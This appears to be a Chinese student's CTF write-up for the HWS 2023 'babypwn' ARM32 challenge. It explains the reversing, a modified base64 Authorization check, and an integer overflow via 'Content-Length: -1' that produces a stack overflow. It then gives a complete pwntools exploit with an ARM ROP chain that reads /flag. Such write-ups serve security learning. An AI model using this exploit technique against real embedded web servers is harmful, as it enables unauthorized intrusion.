HWS 2023 babypwn
HWS 2023 babypwn
旧题重看,翻越曾经无法跨过的山。
没有远程环境,本地复现的。题目链接暂时不放了,记录一下自己的做题感想。
解题过程回顾
ARM的pwn题,32位,静态链接,符号表全抽,一眼看过去就有报文得分析......
逆吧,狠狠滴逆向。我这两天把存的这道题掏出来,逆向就逆了整整一天(实在是逆向功夫不到家)
总结了一下,对一些库函数的判断,在不借助于插件的情况下,可以通过观察参数类型和顺序以及返回值的用途,结合上下文进行调试观察,以判断函数作用,进而猜测函数的名称。
常见的加密和解密算法要熟悉,我是学pwn的,对于加密解密这一套还不是很熟,结果一个简单的魔改base64啃了半天。
题目漏洞在于Connect-length,这个是有atoi的返回值确定的后面的一个输入长度,可以通过整数溢出绕过长度上限检查,进而实现栈溢出。
本题栈溢出通过fread函数实现,这个函数必须把输入读满才行,因为它是调用了size次fgetc,为了防止溢出长度过大使得数据写入不可写的内存而导致程序崩掉,我们可以通过p.shutdown('send')来关闭send,进而引发fread的错误使函数结束。
到达栈溢出之前,程序里有很多分支检查需要绕过,这里不再赘述。
arm32位的栈溢出覆盖的是栈上保存的上个函数的LR,这一点要记住。构造ROP链的时候,pop {..., PC} 这个指令能起到类似于x86下连环pop后ret的效果,方便在栈上布置数据。这个指令也常见于程序当中——至少静态链接的题目应该如此。
SVC 0系统调用是老生常谈,r0开始控制参数,r7填系统调用号。当然,这个题用不到手动跑SVC 0
这个题目的主要函数中,最后有一个地方是调用了一个函数指针,有orw的效果,这个函数的地址我写在了下面EXP中了,如果你逆完了程序,肯定也能发现。这个题不知道为啥拿不到shell,可以用它通过orw读取flag。(其实程序本身就有open功能,但是仅允许open远程的webs目录下的文件,比赛时flag应该是在根目录下不让你打开)
(其实也可以考虑手动用系统调用跑orw?)
对了,本地调试完成后,在测试运行前,记得删掉启动参数的-g 1234,不然会看不到回显。(有人因为这个折腾了一个晚上,我不说是谁......)
什么?你说你对ARM一无所知?去看我上一个博客ARM pwn 1
EXP
之前一开始试图起shell,所以rop链的构造有些奇怪(有些重复操作)
from pwn import *
import base64
context.terminal = ['tmux', 'splitw', '-h']
context.arch = 'arm'
context.log_level = 'debug'
ELFpath = '/home/wjc/Desktop/baby_pwn/baby'
# libcpath='/home/wjc/Desktop/libc'
# p=process(ELFpath)
p = remote('127.0.0.1', 10002)
e = ELF(ELFpath)
# libc=ELF(libcpath)
def ru(s): return p.recvuntil(s)
def rut(s, t): return p.recvuntil(s, timeout=t)
def r(n): return p.recv(n)
def sal(d, b): return p.sendlineafter(d, b)
def sa(d, b): return p.sendlineafter(d, b)
def sl(s): return p.sendline(s)
def sls(s): return p.sendline(str(s))
def ss(s): return p.send(str(s))
def s(s): return p.send(s)
def uu64(data): return u64(data.ljust(8, '\x00'))
def it(): return p.interactive()
def b(): return gdb.attach(p)
def bp(bkp): return gdb.attach(p, 'b *'+str(bkp))
def bp(bkp): return gdb.attach(p, 'b *'+str(bkp))
LOGTOOL = {}
def LOGALL():
log.success("**** all result ****")
for i in LOGTOOL.items():
log.success("%-20s%s" % (i[0]+":", hex(i[1])))
def get_base(a, text_name):
text_addr = 0
libc_base = 0
for name, addr in a.libs().items():
if text_name in name:
text_addr = addr
elif "libc" in name:
libc_base = addr
return text_addr, libc_base
def debug():
text_base, libc_base = get_base(p, 'pwn')
script = '''
set $text_base = {}
set $libc_base = {}
b*0x10754
'''.format(text_base, libc_base)
# b*puts
# b* _IO_file_xsputn
# b mprotect
# b *($text_base+0x0000000000000000F84)
# b *($text_base+0x000000000000134C)
# b *($text_base+0x0000000000000000001126)
# dprintf *($text_base+0x04441),"%c",$ax
# dprintf *($text_base+0x04441),"%c",$ax
# 0x12D5
# 0x04441
# b *($text_base+0x0000000000001671)
gdb.attach(p, script)
keys = [
0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF,
0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF,
0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF,
0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF,
0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF,
0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0x0000003E, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0x0000003F,
0x00000034, 0x00000035, 0x00000036, 0x00000037, 0x00000038, 0x00000039, 0x0000003A, 0x0000003B,
0x0000003C, 0x0000003D, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF,
0xFFFFFFFF, 0x00000000, 0x00000001, 0x00000002, 0x00000003, 0x00000004, 0x00000005, 0x00000006,
0x00000007, 0x00000008, 0x00000009, 0x0000000A, 0x0000000B, 0x0000000C, 0x0000000D, 0x0000000E,
0x0000000F, 0x00000010, 0x00000011, 0x00000012, 0x00000013, 0x00000014, 0x00000015, 0x00000016,
0x00000017, 0x00000018, 0x00000019, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF,
0xFFFFFFFF, 0x0000001A, 0x0000001B, 0x0000001C, 0x0000001D, 0x0000001E, 0x0000001F, 0x00000020,
0x00000021, 0x00000022, 0x00000023, 0x00000024, 0x00000025, 0x00000026, 0x00000027, 0x00000028,
0x00000029, 0x0000002A, 0x0000002B, 0x0000002C, 0x0000002D, 0x0000002E, 0x0000002F, 0x00000030,
0x00000031, 0x00000032, 0x00000033, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF,
0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF,
0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF,
0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF,
0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF,
0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF,
0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF,
0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF,
0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF,
0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF,
0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF,
0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF,
0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF,
0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF,
0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF,
0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF,
0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF]
def decode():
encoded_list=[]
key_list=[]
decoded_list=[]
for i in '[XXXXXXXXXXXXXXXXXXXXX]\x00':
encoded_list.append(ord(i))
idx=0
tmp_key = 0
for i in range(len(encoded_list)):
if i%3 == 0:
key_list.append(encoded_list[i] >> 2)
tmp_key = encoded_list[i] & 3
elif i%3 == 1:
key_list.append( (encoded_list[i] >> 4 ) + (tmp_key << 4) )
tmp_key = encoded_list[i] & 0xf
elif i%3 == 2:
key_list.append( (encoded_list[i] >> 6 ) + (tmp_key << 2) )
tmp_key = encoded_list[i] & 0x3f
key_list.append(tmp_key)
tmp_key = 0
for i in key_list:
decoded_list.append(keys.index(i))
return decoded_list
authorization=''
for i in decode():
authorization+=chr(i)
print(authorization)
print(decode())
sl('post /login.cgi W1hYWFhYWFhYWFhYWFhYWFhYWFhYWF0A')
sl('Authorization: W1hYWFhYWFhYWFhYWFhYWFhYWFhYWF0A')
sl('Content-Length: -1')
sl('')
#0x0001065c : pop {fp, pc}
pop_fp_pc=0x1065c
#0x00010160 : pop {r3, pc}
pop_r3_pc=0x10160
#0x00072c64 : pop {r0, pc}
pop_r0_pc=0x00072c64
#0x000730dc : pop {r1, pc}
pop_r1_pc=0x000730dc
#0x0003296c : str r0, [r3] ; pop {r4, pc}
str_r0_addr3_pop_r4_pc=0x0003296c
#0x009C080
str_bin_sh=0x009C080
#0x000532a8 : svc #0 ; pop {r4, r5, r6, r7, pc}
svc_0=0x532a8
#0x0006e700 : ldr r2, [r0, #0x240] ; str r2, [r3] ; pop {r4, pc}
ldr_r2_r0_add_0x240_str_r2_addr3_pop_r4_pc=0x006e700
pop_r7_pc=0x29a8c
#0x000103ac : pop {r4, r5, pc}
pop_r4_r5_pc=0x103ac
orw=0x11018
IO_2_1_stdin=0x9c7a0
pay ='username=admin&password=admin&'
pay =pay.ljust(0xeab0,'a')
pay+=p32(pop_r3_pc)+p32(str_bin_sh)+p32(pop_r0_pc)+p32(0)+p32(str_r0_addr3_pop_r4_pc)+p32(0)
pay+=p32(pop_r0_pc)+p32(str_bin_sh-0x240)+p32(ldr_r2_r0_add_0x240_str_r2_addr3_pop_r4_pc)+p32(0)
pay+=p32(pop_r3_pc)+p32(str_bin_sh)+p32(pop_r0_pc)+'/fla'+p32(str_r0_addr3_pop_r4_pc)+p32(0)
pay+=p32(pop_r3_pc)+p32(str_bin_sh+4)+p32(pop_r0_pc)+'g\x00\x00\x00'+p32(str_r0_addr3_pop_r4_pc)+p32(0)
pay+=p32(pop_r0_pc)+p32(str_bin_sh)+p32(pop_r1_pc)+p32(IO_2_1_stdin)
#pay+=p32(pop_r7_pc)+p32(0xb)+p32(pop_r3_pc)+p32(0)+p32(svc_0)+p32(0)*4
pay+=p32(orw)
#pay+=p32(pop_r0_pc)+p32(0)+p32(pop_r7_pc)+p32(1)+p32(svc_0)
s(pay)
p.shutdown('write')
#p.shutdown()
it()
花絮
因为这个题,今晚我没能跑校园跑,也没能洗澡(悲)
今晚1113实验室,每个十秒就会爆发一句“急急急急急急急”、“典中典之...”、“绷不住了”
啊,今晚又熬大了,明天早八体育课...
✟升天✟升天✟升天✟